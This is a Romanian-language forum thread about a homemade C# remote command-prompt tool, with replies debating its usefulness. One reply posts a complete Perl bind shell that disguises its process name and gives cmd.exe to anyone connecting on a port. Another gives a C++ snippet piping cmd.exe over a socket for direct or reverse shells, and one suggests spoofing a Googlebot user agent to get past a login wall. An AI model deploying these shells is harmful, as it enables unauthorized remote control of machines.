Jump to content
dranaxum

BrainCode's Remote Command Prompt

Recommended Posts

BrainCode's Remote Command Prompt

Description

This software is designed for the purpose of executing remote cmd commands via TCP/IP. We stuck to a console interface because we decided to keep the cmd "spirit".

(You must connect to the host by ip in order to execute commands.)

Strong points:

- send remote cmd commands

- upload/download files

It was built in C# using .NET Framework 2.0.

Usage:

1. The server opens rcmd.server.exe and starts to listen

2. The client opens rcmd.client.exe, connects to the server and starts executing commands

About

Coded by DranaXum

Tested by Zapakitul

Download Link

http://rapidshare.com/files/89727302/rcmd.rar.html

*Note: The archive contains both the server and the client application. The server will always be aware of what commands is the client executing.

Useful links

.NETFramework 2.0

http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=en

For feedback please reply!

In future versions

- Secure connection

- GUI

- Update software

Owner: www.hackpedia.info

Link to comment
Share on other sites

O sa raspund prin alta intrebare: care este utilitatea VNC-ului?

Raspunsul este cam acelasi si anume remote control.

Din cauza ca in Braincode nu facem programe care pot fi considerate virusi de aceea am vrut ca server-ul sa fie constient de orice actiune facuta de client.

Urmatorul scenariu ar putea prezenta utilitatea programului:

Eu sunt la scoala/serviciu, imi trebuie programul X de acasa si stiu ca am lasat calculatorul deschis (probabil sa downloadez ceva) atunci ma conectez la mine acasa si imi transfer datele care imi trebuie. Nu stiu path-ul? nimic mai simplu execut comanda tree si salvez outputul intrun fisier care apoi il downloadez la mine.

Am precizat ca poti executa orice comanda cmd doresti.

Link to comment
Share on other sites

sunt de acord cu ultilitatea VNC-ului.

dar problema e ca de fiecare data cand vreau sa vad output-ul unei comenzi trebuie sa redirectionez stdout intr-un fisier. dupa care downloadez fisierul, vad ce scrie in el, dau urmatoarea comanda, redirect output in stdout ...

mi se pare mai folositor urmatorul script:


#!/usr/bin/perl
use Socket;
$port=911;
$proto=getprotobyname('tcp');
$cmd="lpd";
$system='cmd.exe';
$0=$cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}

Plusuri

+Stiu/Pot sa modific portul pe care asculta (in cazul in care esti in spatele unui NAT si vrei sa faci port forwarding)

(intradevar pot si la serverul tau sa aflu care este portul, dar nu pot sa-l modific)

+Imi face output in client la comenzi.

+Este mai usor de folosit, deoarece nu am nevoie de client specific, pot folosi netcat, telnet.

Minusuri:

-Nu pot sa transfer fisiere

Shell-ul acesta nu l-am facut eu, doar am modificat din /bin/sh in cmd.exe shell-ul prezentat aici de kuki.

(daca nu vreti sa va faceti cont pentru a vedea threa-ul schimbati-va useragent-ul in "Googlebot/2.1 (+http://www.google.com/bot.html)")

Link to comment
Share on other sites

In legatura cu outputul : daca nu vrei sa scrii in fisier i-l va afisa clientului. Cu sau fara output, comanda executata va fi afisata. Scrierea in fisier o faci ca sa transferi acel output.

Voi face in urmatoarele versiuni un update sa poti modifica portul si sa fac din client un broadcast.

Da, este nevoie de client specific virusz.

Mi se pare destul de simplu de utilizat avand in vedere ca sunt comenzile standard cmd + connect, getfile si sendfile. Am mers pe comenzi cmd din cauza ca dupa cum stiti pot sa adaug in fisiere .bat instructiuni ciclice si conditionale + goto.

PS: ma gandesc ca intr-un remote controller principalul este sa poti sa transferi fisiere.

Link to comment
Share on other sites

scuza-ma ca te intreb, care este utilitatea programului ?

Dranaxum, sunt de acord cu moubik.

Partea cu executatul de comenzi CMD poate fi realizata extrem de usor iar transferul de fisiere ... sa zicem doar ca nu e mare filozofie.

Ideea e ca mi se pare cam ciudat ca la un program "by Braincode" a lucrat un singur om si ca e primul, din moment ce voi ati inceput lucrul acum vreo 4 luni de zile si aveti o echipa stufoasa.

In fine ... bafta ;).

Link to comment
Share on other sites

tw8... ne trebuia un proiect repede. Nu am mai stat atat de mult la coding din motive evidente, fiecare are propriile proiecte. Echipa hmm no comment.

Hmm m-am bazat mai mult pe idee. Nu cred ca exista prea multe programe de remote control care sa iti lase lejeritatea de a executa comenzi cmd.

Stiti cateodata ideea poate reprezenta mai mult de 60% dintr-un program :D.

Ok, vedem ce fac cu urmatoarea versiune, care va intarzia destul din cauza ca nu prea am timp disponibil pentru acest proiect.

Repede si eficient .. zic eu ca mi-am atins scopul. Ca se poate duce la alt nivel asta vom vedea in viitor.

Link to comment
Share on other sites

Daca vrei sa citesti outputul unei comenzi CMD direct, fara sa folosesti fisier .txt, poti folosi API'ul CreatePipe. Pipe inseamna in romana teava. In cazul nostru, cmd.exe va scrie informatii pe teava, informatii care le va prelua softul. Practic, procesul care creeaza teava se numeste server, iar cel care se conecteaza la teava se numeste client.

Deci, trebuie creat un nou proces [cu CreateProcess]. Ce proces ? Pai... In Visual Basic se foloseste Environ("ComSpec") pt. a determina exact calea catre cmd.exe. In c++ nu am reusit sa folosesc environ, dar am presupus ca pathul este c:\WINDOWS\system32\cmd.exe ! Deci practic, creez urmatorul proces:


C:\WINDOWS\system32\cmd.exe /c tracert 127.0.0.1

In cazul asta, tracert 127.0.0.1 este comanda cmd. Se poate inlocui cu orice altceva. Dupa ce cmd.exe a scris informatiile pe teava, le citim folosind ReadFile [tot winapi] si le alocam unui buffer.

Cod in Visual Basic:

http://planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=53893&lngWId=1

Stii VB, deci te descurci :P.

Btw, dragut soft. Bafta in continuare !

Link to comment
Share on other sites

Cel mai simplu se face cu CreateProcess iar cele 3 handleuri std de la STARTUPINFO(input,output si error) sa fie setate spre socket. In felul asta cmd.exe va primi input-ul si va trimite output-ul dinspre si spre socket.

Exemplu:


// "sock" este socketul creeat intre client si server fie direct, fie reverse
STARTUPINFO SI={sizeof(SI)};
PROCESS_INFORMATION PI;
SI.dwFlags=STARTF_USESTDHANDLES;
SI.hStdError=(HANDLE)sock;
SI.hStdInput=(HANDLE)sock;
SI.hStdOutput=(HANDLE)sock;
CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI);
WaitForSingleObject(PI.hProcess,INFINITE);

Link to comment
Share on other sites

"ce dracu e aia "braincode",nu o lua in nume de rau dar esti un fel de rambo al programarii?" <-- o hmm .. constatare care ma inspira si ... este foarte profunda. M-ai lasat fara cuvinte. Are 100% legatura cu program creat. Hai totusi sa ne comportam matur si sa vorbim in cunostiinta de cauza, nu pe din-afara. (asta cred ca o sa cer la infinit...)

Hmm echipa e treaba mea... si s-a decis sa facem programe individual pentru "braincode".

"pune ti echipa la munca!"

Auzi, cumva vorbesti din experienta? (gandeste-te bine la sensul intrebarii si apoi raspunde).

Apropo, nu ca as lua apararea cuiva, dar stii tu sa faci teste la limita? Teste din alea care sa iti dea peste cap toate calculele. (sa zicem ca nu e in discutie acest program din cauza ca nu prea a fost cazul de teste care pot sa dea peste cap totul). Hmmm e destul de grea CATEODATA treaba de tester... ca nu degeaba si infoarena.ro are echipa care face teste pentru problemele alea. (sa nu-mi zici ca si infoarena e prea varza pentru cunostintele tale)

Hai te rog nu mai rade atata ca nu ai de ce... ai postat pur si simplu pentru "a new post".

Inca ceva .. zi-mi si tu care e sensul sa fac astfel de program in echipa, cand e vorba de DOAR 400 linii pentru client respectiv pentru server. Ti se pare mult? Mie mi se pare infim!

Link to comment
Share on other sites

dranaxum si tu esti de parere ca 400 de linii care fac ceva != 2 linii care fac acelasi lucru ? Poate din punct de vedere al resurselor ... Dar nu vad rostul , mai ales cand nu e un program foarte complex . Nici la un program complex nu prea vad utilitatea ... Cred ca executarea a 400 de instructiuni != de cea a doua ...

Shell "cmd.exe /c comanda", vbHide ' Optional

Link to comment
Share on other sites

O da... o da... si daca portul nu e deschis (al serverului)?

Nu am auzit de extensia remote hmmm cel putin pe compul meu nu exista asa ceva (nu am program care sa recunosca .remote).

Nytro ... eu C# tu VB intelegi? Plus ca am transfer de fisier... sau tu cand trimiti fisiere citesti tot fisierul (incarci ramul) si apoi trimiti? Eu citesc pe blocuri ;)

Nu ai luat programul ;)

Link to comment
Share on other sites

ma... oricum se gaseste cineva sa comenteze la orice... (e bine cateodata), dar nu va luati iara la "cearta"...

cand faci ceva inveti cate ceva, data viitoare o sa faci mai bine... deci cui ii este folositor programul poate sa zica cate ceva, sau cel care ar putea ajuta la dezvoltarea lui (buguri ...blabla) si el ar putea sa zica cate ceva.. dar cei care nici nu la-ti downloadat va rog (pe bune), nu spuneti nimic despre el.

ps: am o scuza.... (beer, apropo ..ce "tare" era sticla aia de la fun)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...